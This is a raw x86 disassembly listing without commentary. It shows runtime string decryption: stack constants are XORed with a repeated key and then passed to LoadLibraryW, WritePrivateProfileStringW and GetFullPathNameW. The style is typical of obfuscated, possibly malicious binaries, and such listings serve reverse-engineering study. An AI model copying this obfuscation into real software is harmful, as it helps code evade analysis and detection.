mov dword [ebp - 0x20c4], 0xe8eca100
mov dword [ebp - 0x20c0], 0x29db2904
mov dword [ebp - 0x20bc], 0x9322cb32
mov dword [ebp - 0x20b8], 0x5fdf0b92
mov dword [ebp - 0x20b4], 0xe45be396
mov dword [ebp - 0x20b0], 0x75a2bab4
mov dword [ebp - 0x20ac], 0x8e57e05c
mov dword [ebp - 0x20a8], 0x3443e2a2
mov dword [ebp - 0x20a4], 0x912e6d94
mov dword [ebp - 0x20a0], 0xedb3c4e4
mov dword [ebp - 0x209c], 0x465efde5
call fcn.0045f450
lea eax, [ebp - 0x20d8]
mov dword [ebp - 0x8b0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2118]
mov dword [ebp - 0x8ac], 0xe3df930e
push eax
lea ecx, [ebp - 0x3290]
mov dword [ebp - 0x2118], 0xe2c99ad7
mov dword [ebp - 0x2114], 0xe3df930e
mov dword [ebp - 0x8a8], 0x6387f0e8
mov dword [ebp - 0x8a4], 0xba25490f
mov dword [ebp - 0x2110], 0x6387f0e8
mov dword [ebp - 0x210c], 0xba25490f
mov dword [ebp - 0x8a0], 0x81dffb59
mov dword [ebp - 0x89c], 0x8d84d620
mov dword [ebp - 0x2108], 0x81dffb59
mov dword [ebp - 0x2104], 0x8d84d620
mov dword [ebp - 0x898], 0x4ca9096a
mov dword [ebp - 0x894], 0xe14dbf41
mov dword [ebp - 0x2100], 0x4ca9096a
mov dword [ebp - 0x20fc], 0xe14dbf41
mov dword [ebp - 0x890], 0x7fb865fb
mov dword [ebp - 0x88c], 0xc417afd2
mov dword [ebp - 0x20f8], 0x7fb865fb
mov dword [ebp - 0x20f4], 0xc417afd2
mov dword [ebp - 0x888], 0x7d0df9c
mov dword [ebp - 0x884], 0xed779233
mov dword [ebp - 0x20f0], 0x7d0df9c
mov dword [ebp - 0x20ec], 0xed779233
mov dword [ebp - 0x880], 0xe2686cd
mov dword [ebp - 0x87c], 0xb84a48b4
mov dword [ebp - 0x20e8], 0xe2686cd
mov dword [ebp - 0x20e4], 0xb84a48b4
mov dword [ebp - 0x878], 0xedb3c4ee
mov dword [ebp - 0x874], 0x465efde5
mov dword [ebp - 0x20e0], 0xedb3c4ee
mov dword [ebp - 0x20dc], 0x465efde5
call fcn.0045f450
mov dword [ebp - 0x1250], 0x87e9f496
mov dword [ebp - 0x124c], 0x91b0e17c
mov dword [ebp - 0x2158], 0x87e9f496
mov dword [ebp - 0x2154], 0x91b0e17c
mov dword [ebp - 0x1248], 0x10e687c8
mov dword [ebp - 0x1244], 0xd946262f
mov dword [ebp - 0x2150], 0x10e687c8
mov dword [ebp - 0x214c], 0xd946262f
mov dword [ebp - 0x1240], 0xe5ba892c
mov dword [ebp - 0x123c], 0xe8eca100
mov dword [ebp - 0x2148], 0xe5ba892c
mov dword [ebp - 0x2144], 0xe8eca100
mov dword [ebp - 0x1238], 0x29db2904
mov dword [ebp - 0x1234], 0x9322cb32
mov dword [ebp - 0x2140], 0x29db2904
mov dword [ebp - 0x213c], 0x9322cb32
mov dword [ebp - 0x1230], 0x5fdf0b92
mov dword [ebp - 0x122c], 0xe45be396
mov dword [ebp - 0x2138], 0x5fdf0b92
lea eax, [ebp - 0x2118]
mov dword [ebp - 0x2134], 0xe45be396
push eax
lea eax, [ebp - 0x2158]
mov dword [ebp - 0x1228], 0x75a2bab4
push eax
lea ecx, [ebp - 0x3288]
mov dword [ebp - 0x1224], 0x8e57e05c
mov dword [ebp - 0x2130], 0x75a2bab4
mov dword [ebp - 0x212c], 0x8e57e05c
mov dword [ebp - 0x1220], 0x3443e2a2
mov dword [ebp - 0x121c], 0x912e6d94
mov dword [ebp - 0x2128], 0x3443e2a2
mov dword [ebp - 0x2124], 0x912e6d94
mov dword [ebp - 0x1218], 0xedb3c4e4
mov dword [ebp - 0x1214], 0x465efde5
mov dword [ebp - 0x2120], 0xedb3c4e4
mov dword [ebp - 0x211c], 0x465efde5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1250]
lea eax, [ebp - 0x1250]
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1250], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1240]
movaps xmmword [ebp - 0x1240], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1230]
movaps xmmword [ebp - 0x1230], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1220]
push esi
push eax
movaps xmmword [ebp - 0x1220], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2e20], 0xb19cdb87
lea eax, [ebp - 0x2e10]
mov dword [ebp - 0x2e1c], 0xe3df934b
lea ecx, [ebp - 0x3280]
mov dword [ebp - 0x2e18], 0x6387f0e8
mov dword [ebp - 0x2e14], 0xba25490f
push eax
lea eax, [ebp - 0x2e20]
push eax
call fcn.0045f450
lea eax, [ebp - 0x2e20]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2e30]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3278]
mov dword [ebp - 0x2e30], 0xe2c99ad7
mov dword [ebp - 0x2e2c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2e28], 0x6387f0e8
mov dword [ebp - 0x2e24], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2e30]
mov dword [ebp - 0xbe0], 0xb19cdb87
push eax
lea eax, [ebp - 0x2e40]
mov dword [ebp - 0xbdc], 0xe3df934b
push eax
lea ecx, [ebp - 0x3270]
mov dword [ebp - 0x2e40], 0xb19cdb87
mov dword [ebp - 0x2e3c], 0xe3df934b
mov dword [ebp - 0xbd8], 0x6387f0e8
mov dword [ebp - 0xbd4], 0xba25490f
mov dword [ebp - 0x2e38], 0x6387f0e8
mov dword [ebp - 0x2e34], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xbe0]
pxor xmm1, xmmword [ebp - 0xbe0]
push eax
movaps xmmword [ebp - 0xbe0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d03e
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x208
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.005c9580
add esp, 0xc
mov dword [ebp - 0x14f8], 0xe2a69a94
lea eax, [ebp - 0x14d8]
mov dword [ebp - 0x14f4], 0xe3ac9360
lea ecx, [ebp - 0x3268]
mov dword [ebp - 0x14f0], 0x63f5f09c
mov dword [ebp - 0x14ec], 0xba46497a
push eax
lea eax, [ebp - 0x14f8]
mov dword [ebp - 0x14e8], 0x81b0fb2d
push eax
mov dword [ebp - 0x14e4], 0x8daad652
mov dword [ebp - 0x14e0], 0x4cc5090e
mov dword [ebp - 0x14dc], 0xe14dbf2d
call fcn.0045f450
lea eax, [ebp - 0x14b8]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x14d8]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3260]
mov dword [ebp - 0x14d8], 0xe2c99ad7
mov dword [ebp - 0x14d4], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x14d0], 0x6387f0e8
mov dword [ebp - 0x14cc], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x14c8], 0x81dffb59
mov dword [ebp - 0x14c4], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x14c0], 0x4ca9096a
mov dword [ebp - 0x14bc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1498]
mov dword [ebp - 0xc40], 0xe2a69a94
push eax
lea eax, [ebp - 0x14b8]
mov dword [ebp - 0xc3c], 0xe3ac9360
push eax
lea ecx, [ebp - 0x3258]
mov dword [ebp - 0x14b8], 0xe2a69a94
mov dword [ebp - 0x14b4], 0xe3ac9360
mov dword [ebp - 0xc38], 0x63f5f09c
mov dword [ebp - 0xc34], 0xba46497a
mov dword [ebp - 0x14b0], 0x63f5f09c
mov dword [ebp - 0x14ac], 0xba46497a
mov dword [ebp - 0xc30], 0x81b0fb2d
mov dword [ebp - 0xc2c], 0x8daad652
mov dword [ebp - 0x14a8], 0x81b0fb2d
mov dword [ebp - 0x14a4], 0x8daad652
mov dword [ebp - 0xc28], 0x4cc5090e
mov dword [ebp - 0xc24], 0xe14dbf2d
mov dword [ebp - 0x14a0], 0x4cc5090e
mov dword [ebp - 0x149c], 0xe14dbf2d
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc40]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xc40], xmm1
lea eax, [ebp - 0xc40]
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc30]
push 0x104
push eax
movaps xmmword [ebp - 0xc30], xmm1
call edi
push 0xc0
mov dl, 1
lea ecx, [ebp - 0x228]
call fcn.0044c4f0
add esp, 4
mov dword [ebp - 0x1498], 0x8bbcccdd
lea eax, [ebp - 0x1478]
mov dword [ebp - 0x1494], 0x8db0ff2e
lea ecx, [ebp - 0x3250]
mov dword [ebp - 0x1490], 0xbecd08f
mov dword [ebp - 0x148c], 0xde052060
push eax
lea eax, [ebp - 0x1498]
mov dword [ebp - 0x1488], 0xa1b89536
push eax
mov dword [ebp - 0x1484], 0xade5bf47
mov dword [ebp - 0x1480], 0x62d96806
mov dword [ebp - 0x147c], 0xe14dbf4b
call fcn.0045f450
lea eax, [ebp - 0x1458]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1478]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3248]
mov dword [ebp - 0x1478], 0xe2c99ad7
mov dword [ebp - 0x1474], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1470], 0x6387f0e8
mov dword [ebp - 0x146c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1468], 0x81dffb59
mov dword [ebp - 0x1464], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1460], 0x4ca9096a
mov dword [ebp - 0x145c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1438]
mov dword [ebp - 0xc60], 0x8bbcccdd
push eax
lea eax, [ebp - 0x1458]
mov dword [ebp - 0xc5c], 0x8db0ff2e
push eax
lea ecx, [ebp - 0x3240]
mov dword [ebp - 0x1458], 0x8bbcccdd
mov dword [ebp - 0x1454], 0x8db0ff2e
mov dword [ebp - 0xc58], 0xbecd08f
mov dword [ebp - 0xc54], 0xde052060
mov dword [ebp - 0x1450], 0xbecd08f
mov dword [ebp - 0x144c], 0xde052060
mov dword [ebp - 0xc50], 0xa1b89536
mov dword [ebp - 0xc4c], 0xade5bf47
mov dword [ebp - 0x1448], 0xa1b89536
mov dword [ebp - 0x1444], 0xade5bf47
mov dword [ebp - 0xc48], 0x62d96806
mov dword [ebp - 0xc44], 0xe14dbf4b
mov dword [ebp - 0x1440], 0x62d96806
mov dword [ebp - 0x143c], 0xe14dbf4b
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc60]
lea eax, [ebp - 0xc60]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc60], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc50]
push eax
movaps xmmword [ebp - 0xc50], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x1438], 0xe2bb9a83
lea eax, [ebp - 0x1418]
mov dword [ebp - 0x1434], 0xe39c9377
mov dword [ebp - 0x1430], 0x63f2f087
mov dword [ebp - 0x142c], 0xba514961
push eax
mov dword [ebp - 0x1428], 0x81dffb59
lea eax, [ebp - 0x1438]
mov dword [ebp - 0x1424], 0x8d84d620
mov dword [ebp - 0x1420], 0x4ca9096a
mov dword [ebp - 0x141c], 0xe14dbf41
push eax
lea ecx, [ebp - 0x3238]
call fcn.0045f450
lea eax, [ebp - 0x13f8]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1418]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3230]
mov dword [ebp - 0x1418], 0xe2c99ad7
mov dword [ebp - 0x1414], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1410], 0x6387f0e8
mov dword [ebp - 0x140c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1408], 0x81dffb59
mov dword [ebp - 0x1404], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1400], 0x4ca9096a
mov dword [ebp - 0x13fc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x13d8]
mov dword [ebp - 0xc80], 0xe2bb9a83
push eax
lea eax, [ebp - 0x13f8]
mov dword [ebp - 0xc7c], 0xe39c9377
push eax
lea ecx, [ebp - 0x3228]
mov dword [ebp - 0x13f8], 0xe2bb9a83
mov dword [ebp - 0x13f4], 0xe39c9377
mov dword [ebp - 0xc78], 0x63f2f087
mov dword [ebp - 0xc74], 0xba514961
mov dword [ebp - 0x13f0], 0x63f2f087
mov dword [ebp - 0x13ec], 0xba514961
mov dword [ebp - 0xc70], 0x81dffb59
mov dword [ebp - 0xc6c], 0x8d84d620
mov dword [ebp - 0x13e8], 0x81dffb59
mov dword [ebp - 0x13e4], 0x8d84d620
mov dword [ebp - 0xc68], 0x4ca9096a
mov dword [ebp - 0xc64], 0xe14dbf41
mov dword [ebp - 0x13e0], 0x4ca9096a
mov dword [ebp - 0x13dc], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc80]
lea eax, [ebp - 0x2e40]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3220]
movaps xmmword [ebp - 0xc80], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc70]
push eax
lea eax, [ebp - 0x2e50]
movaps xmmword [ebp - 0xc70], xmm1
push eax
mov dword [ebp - 0x2e50], 0xe29d9a85
mov dword [ebp - 0x2e4c], 0xe3df930e
mov dword [ebp - 0x2e48], 0x6387f0e8
mov dword [ebp - 0x2e44], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2e50]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3218]
mov dword [ebp - 0x2e60], 0xe2c99ad7
mov dword [ebp - 0x2e5c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2e58], 0x6387f0e8
mov dword [ebp - 0x2e54], 0xba25490f
call fcn.0045f450
mov dword [ebp - 0xbf0], 0xe29d9a85
mov dword [ebp - 0xbec], 0xe3df930e
mov dword [ebp - 0x2e70], 0xe29d9a85
mov dword [ebp - 0x2e6c], 0xe3df930e
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0xbe8], 0x6387f0e8
push eax
lea eax, [ebp - 0x2e70]
mov dword [ebp - 0xbe4], 0xba25490f
push eax
lea ecx, [ebp - 0x3210]
mov dword [ebp - 0x2e68], 0x6387f0e8
mov dword [ebp - 0x2e64], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xbf0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0x66ee54
lea eax, [ebp - 0xc80]
movaps xmmword [ebp - 0xbf0], xmm1
push eax
lea eax, [ebp - 0xbf0]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x720
lea eax, [ebp - 0x2998]
mov dword [ebp - 0x2b4c], 0
push 0
push eax
mov byte [ebp - 0x2b2d], 0
call fcn.005c9580
add esp, 0xc
mov dword [ebp - 0x2218], 0x8ea0fb91
lea eax, [ebp - 0x21d8]
mov dword [ebp - 0x2214], 0x97fff76b
lea ecx, [ebp - 0x3208]
mov dword [ebp - 0x2210], 0xdeed087
mov dword [ebp - 0x220c], 0xdb4b3d66
push eax
lea eax, [ebp - 0x2218]
mov dword [ebp - 0x2208], 0xe4a59235
push eax
mov dword [ebp - 0x2204], 0xa0ea8000
mov dword [ebp - 0x2200], 0x60d16822
mov dword [ebp - 0x21fc], 0x8835da61
mov dword [ebp - 0x21f8], 0x18d60c8f
mov dword [ebp - 0x21f4], 0xb665ead8
mov dword [ebp - 0x21f0], 0x64f0adf3
mov dword [ebp - 0x21ec], 0xd712f65c
mov dword [ebp - 0x21e8], 0xe42a3ed
mov dword [ebp - 0x21e4], 0xb84a48b4
mov dword [ebp - 0x21e0], 0xedb3c4ee
mov dword [ebp - 0x21dc], 0x465efde5
call fcn.0045f450
mov dword [ebp - 0x8b0], 0xe2c99ad7
mov dword [ebp - 0x8ac], 0xe3df930e
mov dword [ebp - 0x2198], 0xe2c99ad7
mov dword [ebp - 0x2194], 0xe3df930e
mov dword [ebp - 0x8a8], 0x6387f0e8
mov dword [ebp - 0x8a4], 0xba25490f
mov dword [ebp - 0x2190], 0x6387f0e8
mov dword [ebp - 0x218c], 0xba25490f
mov dword [ebp - 0x8a0], 0x81dffb59
mov dword [ebp - 0x89c], 0x8d84d620
mov dword [ebp - 0x2188], 0x81dffb59
mov dword [ebp - 0x2184], 0x8d84d620
mov dword [ebp - 0x898], 0x4ca9096a
mov dword [ebp - 0x894], 0xe14dbf41
mov dword [ebp - 0x2180], 0x4ca9096a
mov dword [ebp - 0x217c], 0xe14dbf41
mov dword [ebp - 0x890], 0x7fb865fb
mov dword [ebp - 0x88c], 0xc417afd2
mov dword [ebp - 0x2178], 0x7fb865fb
mov dword [ebp - 0x2174], 0xc417afd2
mov dword [ebp - 0x888], 0x7d0df9c
mov dword [ebp - 0x884], 0xed779233
mov dword [ebp - 0x2170], 0x7d0df9c
mov dword [ebp - 0x216c], 0xed779233
mov dword [ebp - 0x880], 0xe2686cd
mov dword [ebp - 0x87c], 0xb84a48b4
mov dword [ebp - 0x2168], 0xe2686cd
mov dword [ebp - 0x2164], 0xb84a48b4
mov dword [ebp - 0x878], 0xedb3c4ee
mov dword [ebp - 0x874], 0x465efde5
lea eax, [ebp - 0x2158]
mov dword [ebp - 0x2160], 0xedb3c4ee
push eax
lea eax, [ebp - 0x2198]
mov dword [ebp - 0x215c], 0x465efde5
push eax
lea ecx, [ebp - 0x3200]
call fcn.0045f450
lea eax, [ebp - 0x2198]
mov dword [ebp - 0x1290], 0x8ea0fb91
push eax
lea eax, [ebp - 0x21d8]
mov dword [ebp - 0x128c], 0x97fff76b
push eax
lea ecx, [ebp - 0x31f8]
mov dword [ebp - 0x21d8], 0x8ea0fb91
mov dword [ebp - 0x21d4], 0x97fff76b
mov dword [ebp - 0x1288], 0xdeed087
mov dword [ebp - 0x1284], 0xdb4b3d66
mov dword [ebp - 0x21d0], 0xdeed087
mov dword [ebp - 0x21cc], 0xdb4b3d66
mov dword [ebp - 0x1280], 0xe4a59235
mov dword [ebp - 0x127c], 0xa0ea8000
mov dword [ebp - 0x21c8], 0xe4a59235
mov dword [ebp - 0x21c4], 0xa0ea8000
mov dword [ebp - 0x1278], 0x60d16822
mov dword [ebp - 0x1274], 0x8835da61
mov dword [ebp - 0x21c0], 0x60d16822
mov dword [ebp - 0x21bc], 0x8835da61
mov dword [ebp - 0x1270], 0x18d60c8f
mov dword [ebp - 0x126c], 0xb665ead8
mov dword [ebp - 0x21b8], 0x18d60c8f
mov dword [ebp - 0x21b4], 0xb665ead8
mov dword [ebp - 0x1268], 0x64f0adf3
mov dword [ebp - 0x1264], 0xd712f65c
mov dword [ebp - 0x21b0], 0x64f0adf3
mov dword [ebp - 0x21ac], 0xd712f65c
mov dword [ebp - 0x1260], 0xe42a3ed
mov dword [ebp - 0x125c], 0xb84a48b4
mov dword [ebp - 0x21a8], 0xe42a3ed
mov dword [ebp - 0x21a4], 0xb84a48b4
mov dword [ebp - 0x1258], 0xedb3c4ee
mov dword [ebp - 0x1254], 0x465efde5
mov dword [ebp - 0x21a0], 0xedb3c4ee
mov dword [ebp - 0x219c], 0x465efde5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1290]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1290], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1280]
movaps xmmword [ebp - 0x1280], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1270]
movaps xmmword [ebp - 0x1270], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1260]
movaps xmmword [ebp - 0x1260], xmm1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x1290]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2779], al
test al, al
jne 0x459f80
lea eax, [ebp - 0x2e70]
mov dword [ebp - 0x2e80], 0x8dbbe892
push eax
lea eax, [ebp - 0x2e80]
mov dword [ebp - 0x2e7c], 0xe3df937c
push eax
lea ecx, [ebp - 0x31f0]
mov dword [ebp - 0x2e78], 0x6387f0e8
mov dword [ebp - 0x2e74], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2e80]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2e90]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x31e8]
mov dword [ebp - 0x2e90], 0xe2c99ad7
mov dword [ebp - 0x2e8c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2e88], 0x6387f0e8
mov dword [ebp - 0x2e84], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2e90]
mov dword [ebp - 0xc00], 0x8dbbe892
push eax
lea eax, [ebp - 0x2ea0]
mov dword [ebp - 0xbfc], 0xe3df937c
push eax
lea ecx, [ebp - 0x31e0]
mov dword [ebp - 0x2ea0], 0x8dbbe892
mov dword [ebp - 0x2e9c], 0xe3df937c
mov dword [ebp - 0xbf8], 0x6387f0e8
mov dword [ebp - 0xbf4], 0xba25490f
mov dword [ebp - 0x2e98], 0x6387f0e8
mov dword [ebp - 0x2e94], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc00]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xc00], xmm1
mov al, byte [ebp + ecx - 0xc00]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2679], al
test al, al
jne 0x45a0c0
xor ecx, ecx
nop word [eax + eax]
movzx eax, word [ebp + ecx - 0x228]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x2982], ax
test ax, ax
jne 0x45a0e0
lea eax, [ebp - 0x13b8]
mov dword [ebp - 0x13d8], 0xe2ac9abc
push eax
lea eax, [ebp - 0x13d8]
mov dword [ebp - 0x13d4], 0xe3b1937c
push eax
lea ecx, [ebp - 0x31d8]
mov dword [ebp - 0x13d0], 0x63ebf08d
mov dword [ebp - 0x13cc], 0xba17493c
mov dword [ebp - 0x13c8], 0x81bbfb77
mov dword [ebp - 0x13c4], 0x8de8d64c
mov dword [ebp - 0x13c0], 0x4ca9096a
mov dword [ebp - 0x13bc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1398]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x13b8]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x31d0]
mov dword [ebp - 0x13b8], 0xe2c99ad7
mov dword [ebp - 0x13b4], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x13b0], 0x6387f0e8
mov dword [ebp - 0x13ac], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x13a8], 0x81dffb59
mov dword [ebp - 0x13a4], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x13a0], 0x4ca9096a
mov dword [ebp - 0x139c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1378]
mov dword [ebp - 0xca0], 0xe2ac9abc
push eax
lea eax, [ebp - 0x1398]
mov dword [ebp - 0xc9c], 0xe3b1937c
push eax
lea ecx, [ebp - 0x31c8]
mov dword [ebp - 0x1398], 0xe2ac9abc
mov dword [ebp - 0x1394], 0xe3b1937c
mov dword [ebp - 0xc98], 0x63ebf08d
mov dword [ebp - 0xc94], 0xba17493c
mov dword [ebp - 0x1390], 0x63ebf08d
mov dword [ebp - 0x138c], 0xba17493c
mov dword [ebp - 0xc90], 0x81bbfb77
mov dword [ebp - 0xc8c], 0x8de8d64c
mov dword [ebp - 0x1388], 0x81bbfb77
mov dword [ebp - 0x1384], 0x8de8d64c
mov dword [ebp - 0xc88], 0x4ca9096a
mov dword [ebp - 0xc84], 0xe14dbf41
mov dword [ebp - 0x1380], 0x4ca9096a
mov dword [ebp - 0x137c], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xca0]
lea eax, [ebp - 0xca0]
pxor xmm1, xmmword [ebp - 0x860]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
movaps xmmword [ebp - 0xca0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc90]
push eax
movaps xmmword [ebp - 0xc90], xmm1
call edi
mov dword [ebp - 0x2b2c], eax
lea eax, [ebp - 0x1a18]
push eax
lea eax, [ebp - 0x1a38]
mov dword [ebp - 0x1a38], 0xe2ba9aa2
mov dword [ebp - 0x1a34], 0xe3ad936b
mov dword [ebp - 0x1a30], 0x63b5f0db
mov dword [ebp - 0x1a2c], 0xba414921
mov dword [ebp - 0x1a28], 0x81b3fb35
mov dword [ebp - 0x1a24], 0x8d84d620
mov dword [ebp - 0x1a20], 0x4ca9096a
mov dword [ebp - 0x1a1c], 0xe14dbf41
push eax
lea ecx, [ebp - 0x31c0]
call fcn.0045f450
lea eax, [ebp - 0x19f8]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1a18]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x31b8]
mov dword [ebp - 0x1a18], 0xe2c99ad7
mov dword [ebp - 0x1a14], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1a10], 0x6387f0e8
mov dword [ebp - 0x1a0c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1a08], 0x81dffb59
mov dword [ebp - 0x1a04], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1a00], 0x4ca9096a
mov dword [ebp - 0x19fc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x19d8]
mov dword [ebp - 0xcc0], 0xe2ba9aa2
push eax
lea eax, [ebp - 0x19f8]
mov dword [ebp - 0xcbc], 0xe3ad936b
push eax
lea ecx, [ebp - 0x31b0]
mov dword [ebp - 0x19f8], 0xe2ba9aa2
mov dword [ebp - 0x19f4], 0xe3ad936b
mov dword [ebp - 0xcb8], 0x63b5f0db
mov dword [ebp - 0xcb4], 0xba414921
mov dword [ebp - 0x19f0], 0x63b5f0db
mov dword [ebp - 0x19ec], 0xba414921
mov dword [ebp - 0xcb0], 0x81b3fb35
mov dword [ebp - 0xcac], 0x8d84d620
mov dword [ebp - 0x19e8], 0x81b3fb35
mov dword [ebp - 0x19e4], 0x8d84d620
mov dword [ebp - 0xca8], 0x4ca9096a
mov dword [ebp - 0xca4], 0xe14dbf41
mov dword [ebp - 0x19e0], 0x4ca9096a
mov dword [ebp - 0x19dc], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xcc0]
pxor xmm1, xmmword [ebp - 0xcc0]
movaps xmmword [ebp - 0xcc0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xcb0]
push eax
movaps xmmword [ebp - 0xcb0], xmm1
call edi
mov esi, eax
mov dword [ebp - 0x19d8], 0xe2ba9aba
lea eax, [ebp - 0x19b8]
mov dword [ebp - 0x19d4], 0xe3bc9378
push eax
lea eax, [ebp - 0x19d8]
mov dword [ebp - 0x19d0], 0x63f3f09a
push eax
lea ecx, [ebp - 0x31a8]
mov dword [ebp - 0x19cc], 0xba414921
mov dword [ebp - 0x19c8], 0x81b3fb35
